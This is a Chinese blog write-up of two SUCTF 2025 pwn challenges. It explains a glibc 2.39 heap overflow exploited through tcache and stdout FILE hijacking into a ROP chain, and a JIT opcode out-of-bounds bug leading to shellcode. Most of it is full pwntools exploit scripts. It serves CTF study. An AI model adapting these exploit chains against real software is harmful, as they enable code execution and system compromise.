SUCTF 2025 PWN

最后更新于 2025-02-10 1824 字 预计阅读时间: 8 分钟


SU_text

看标题以为是一个绕sandbox的shellcode,进去一看才发现是一个套VM的heap,libc 2.39

sandbox可以用mmap和mprotect直接写shellcode打ORW,也可以ROP打ORW

根据输入的opcode来选择执行的内容

漏洞点在执行以下操作时传入的是指向堆地址的指针并且存在堆指针自增

结合store函数就存在堆溢出

前期没仔细看把_exit看成exit了导致最后想走apple2和cat失败了,第二时间想到用__malloc_assert刷新_IO_2_1_stderr_的流结果调试半天出不了,结果是记错了,__malloc_assert在2.35后就已经不会刷新。不过倒是有printf可以劫持IO流,但是stdout,stdin,stderr都在bss段上,没法largebin attack劫持为堆,只能劫持_IO_2_1_stdout_但是只能申请large chunk。在文章中看到了mp_结构体。

{
  trim_threshold = 131072,
  top_pad = 131072,
  mmap_threshold = 131072,
  arena_test = 8,
  arena_max = 0,
  n_mmaps = 0,
  n_mmaps_max = 65536,
  max_n_mmaps = 0,
  no_dyn_threshold = 0,
  mmapped_mem = 0,
  max_mmapped_mem = 0,
  sbrk_base = 0x0,
  tcache_bins = 64,      
  tcache_max_bytes = 1032,
  tcache_count = 7,  
  tcache_unsorted_limit = 0
}

其中的tcache_bins,tcache_max_bytes,tcache_count分别记录了tcache bin在tcache结构体的位置的最大值,tcache bin的最大值,tcache bin链中的最大数量。largebin attack将tcache bin改为一个堆地址就可以将很大的堆块放入tcache bins,堆溢出修改fd申请到_IO_2_1_stdout_走apple2和cat即可。

from pwn import *
from pwn import p64,p32,u64,u32
from struct import pack
from ctypes import cdll
context(os="linux",log_level="debug")
import os,base64
from LibcSearcher import *
filename="./SU_text"
os.system(f'chmod 777 ./{filename}')
elf=ELF(filename)
context.arch=elf.arch
debug=1
if debug:
    p=process(filename)
    # gdb.attach(p)
else:
    p=remote("node5.anna.nssctf.cn" ,  27135)
select=b"Please input some text (max size: 4096 bytes):\n"
def add(index,size):
    p.recvuntil(select)
    p.send(b"\x01\x10"+bytes([index])+p32(size)+b"\x03")
def free(index):
    p.recvuntil(select)
    p.send(b"\x01\x11"+bytes([index])+b"\x03")
def store(index,offset,val):
    p.recvuntil(select)
    p.send(b"\x02"+bytes([index])+b"\x10\x14" + p32(offset) +val+ b"\x00\x03")

def store2(offset,val):
    return  (b"\x10\x14" + p32(offset) + val)

def load(index,offset,val):
    p.recvuntil(select)
    p.send(b"\x02"+bytes([index])+b"\x10\x15" + p32(offset)+p64(val)+ b"\x00\x03")
def show(index,offset):
    p.recvuntil(select)
    p.send(b"\x02" + bytes([index]) + b"\x10\x16" + p32(offset) + b"\x00\x03")


def heap_edit(index,op1,op2,num,offset,val,is_store):
    if is_store==1:
        return (b"\x02" + bytes([index]) + (b"\x11\x14" +p32(op1) +p32(op2))*num+b"\x10\x14" + p32(offset) +val+b"\x00\x03")
    else:
        return (b"\x02" + bytes([index]) + (b"\x11\x14" + p32(op1) + p32(op2)) * num + b"\x10\x15" + p32(offset)+p64(val)+b"\x00\x03")
libc=ELF("./libc.so.6")

add(0,0x418)
add(1,0x418)
add(2,0x428)
add(3,0x438)
add(4,0x418)
add(5,0x448)
add(6,0x448)
free(5)
free(2)
add(7,0x458)
add(8,0x458)
free(0)

show(1,0x100000000-0x1b4b48)
base=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x2044e0
print(hex(base))
stdout=base+libc.sym["_IO_2_1_stdout_"]
_IO_wfile_jumps=base+libc.sym["_IO_wfile_jumps"]
mp_tcache=base+0x2031e8
show(1,0x100000000-0x1b4b48)
payload=heap_edit(4,0,0,8,0x410,0,0)
p.recvuntil(select)
p.send(payload)
show(4,0x50)
heap_leak=u64(p.recv(8))
heap_base=heap_leak-0x1760
print(hex(heap_base))

flag_heap=heap_base+0xf10
read_addr=base+libc.sym['read']
write_addr=base+libc.sym['write']
magic_gadget=base+0x17923d
syscall_ret=read_addr+0xf
pop_rax=base+0x00000000000dd237
pop_rdi=base+0x000000000010f75b
pop_rsi=base+0x0000000000110a4d
pop_rbx=base+0x00000000000586d4
mov_rdx=base+0x00000000000b0123
pop_rbx=0x00000000000586d4+base
leave_ret=0x00000000000299d2+base
pop_r12_r13=base+0x00000000000584c7
mov_rdx_rbx_pop_3=0x00000000000b0123+base
orw=flat(pop_rdi,flag_heap+0xf0,pop_rsi,0,pop_rbx,0,mov_rdx_rbx_pop_3,0,0,0,pop_rax,2,syscall_ret,
         pop_rdi,3,pop_rsi,heap_base+0x500,pop_rbx,0x50,mov_rdx_rbx_pop_3,0,0,0,read_addr,
         pop_rdi,1,write_addr)
orw=orw.ljust(0xf0,b"\x00")+b"flag\x00\x00\x00\x00"
for x in range(0,len(orw),8):
    store(3,x,orw[x:x+8])

for x in range(4):
    payload=heap_edit(1,0,0,4+2*x,0x410,p64(0),1)
    if x==3:
        payload = heap_edit(1, 0, 0, 4 + 2 * x, 0x410, p64(mp_tcache-0x20), 1)
    p.recvuntil(select)
    p.send(payload)

add(9,0x488)
free(8)
free(7)
payload=heap_edit(6,0,0,16,0x410,p64(stdout^((heap_base+0x2000)>>12)),1)
p.recvuntil(select)
p.send(payload)
add(10,0x458)
add(11,0x458)

mov_rsp_rdx_ret = base + 0x000000000005ef5f
fake_io_addr = stdout
fake_IO_FILE = p64(0)*9
fake_IO_FILE += p64(1)
fake_IO_FILE += p64(heap_base+0xf10)
fake_IO_FILE += p64(mov_rsp_rdx_ret)
fake_IO_FILE = fake_IO_FILE.ljust(0x88, b'\x00')
fake_IO_FILE += p64(heap_base)
fake_IO_FILE = fake_IO_FILE.ljust(0xa0, b'\x00')
fake_IO_FILE += p64(fake_io_addr+0x30)
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, b'\x00')
fake_IO_FILE += p64(base+0x202238)
fake_IO_FILE += p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40)
payload=b"\x02"+bytes([11])
for x in range(0,len(fake_IO_FILE),8):
    payload+=store2(x,fake_IO_FILE[x:x+8])
payload+= b"\x00\x03"
p.recvuntil(select)
#gdb.attach(p,"b _IO_switch_to_wget_mode")
p.send(payload)
# gdb.attach(p)
p.interactive()

SU_JIT16

逆向完后为下图

get_code函数会根据输入的opcode从sel函数中选取opcode放入heap中,最后将xor放到堆尾

漏洞点在sel函数中的case 4存在数组越界当v2=4时取到的是case 5的跳转指令

overwrite_jmp_addr函数是根据case 5的指令替换后面jmp的的跳转地址偏移,根据传进去的opcode替换要跳过指令的个数的总偏移,但是从case 4选中case 5不会替换就可以用jmp进行opcode的偏移进行getshell

在sel函数的case 1有将立即数放入指定寄存器的过程,其中立即数是我们输入的,我们可以用这2 Byte执行任意指令

逆向后可以构造函数如下

def mov_ax_imm(index,imm):
    return p32(0<<4|1|index<<12|0<<8|imm<<16)
def func(index,imm):
    return p32(5<<4|1-index|0<<12|0<<8|imm<<16)
def pad():
    return p32(8<<4|1|0<<12|0<<8|0<<16)
def jmp():
    return p32(4<<4|4|4<<12|4<<8|4<<16)
def vuln(code):
    return jmp()+pad()*15+mov_ax_imm(0,u16(code.ljust(2,b"\x90")))

从栈中得到addr的地址并进行mprotect(addr,0x2000,7)

payload=mov_ax_imm(0,0xa)
payload+=vuln(asm("pop rdi"))*6
payload+=mov_ax_imm(3,0x2000)
payload+=vuln(asm("push rdx"))
payload+=vuln(asm("pop rsi"))
payload+=mov_ax_imm(3,0x7)
payload+=vuln(asm("syscall"))

再写入shellcode

payload+=vuln(asm("push rdi"))
payload+=vuln(asm("pop rsi"))
payload+=vuln(asm("push rbx"))
payload+=vuln(asm("pop rdi"))
payload+=mov_ax_imm(3,0x9000)
payload+=mov_ax_imm(0,0)
payload+=vuln(asm("syscall"))#read(0,addr,0x9000)
p.recvuntil(b"Input ur code:\n")
p.send(payload)
pause()
p.sendline(b"a"*0x164+asm(shellcraft.sh()))

完整exp

from pwn import *
from pwn import p64,p32,u64,u32
from struct import pack
from ctypes import cdll
context(os="linux",log_level="debug")
import os,base64
from LibcSearcher import *
filename="./chall"
os.system(f'chmod 777 ./{filename}')
elf=ELF(filename)
context.arch=elf.arch
debug=1
if debug:
    p=process(filename)
    gdb.attach(p,"b *$rebase(0x274D)")
else:
    p=remote("node5.anna.nssctf.cn" ,  27135)
def mov_ax_imm(index,imm):
    return p32(0<<4|1|index<<12|0<<8|imm<<16)
def func(index,imm):
    return p32(5<<4|1-index|0<<12|0<<8|imm<<16)
def pad():
    return p32(8<<4|1|0<<12|0<<8|0<<16)
def jmp():
    return p32(4<<4|4|4<<12|4<<8|4<<16)
def vuln(code):
    return jmp()+pad()*15+mov_ax_imm(0,u16(code.ljust(2,b"\x90")))
payload=mov_ax_imm(0,0xa)
payload+=vuln(asm("pop rdi"))*6
payload+=mov_ax_imm(3,0x2000)
payload+=vuln(asm("push rdx"))
payload+=vuln(asm("pop rsi"))
payload+=mov_ax_imm(3,0x7)
payload+=vuln(asm("syscall"))

payload+=vuln(asm("push rdi"))
payload+=vuln(asm("pop rsi"))
payload+=vuln(asm("push rbx"))
payload+=vuln(asm("pop rdi"))
payload+=mov_ax_imm(3,0x9000)
payload+=mov_ax_imm(0,0)
payload+=vuln(asm("syscall"))
p.recvuntil(b"Input ur code:\n")
p.send(payload)
pause()
p.sendline(b"a"*0x164+asm(shellcraft.sh()))
p.interactive()


此作者没有提供个人介绍。
最后更新于 2025-02-10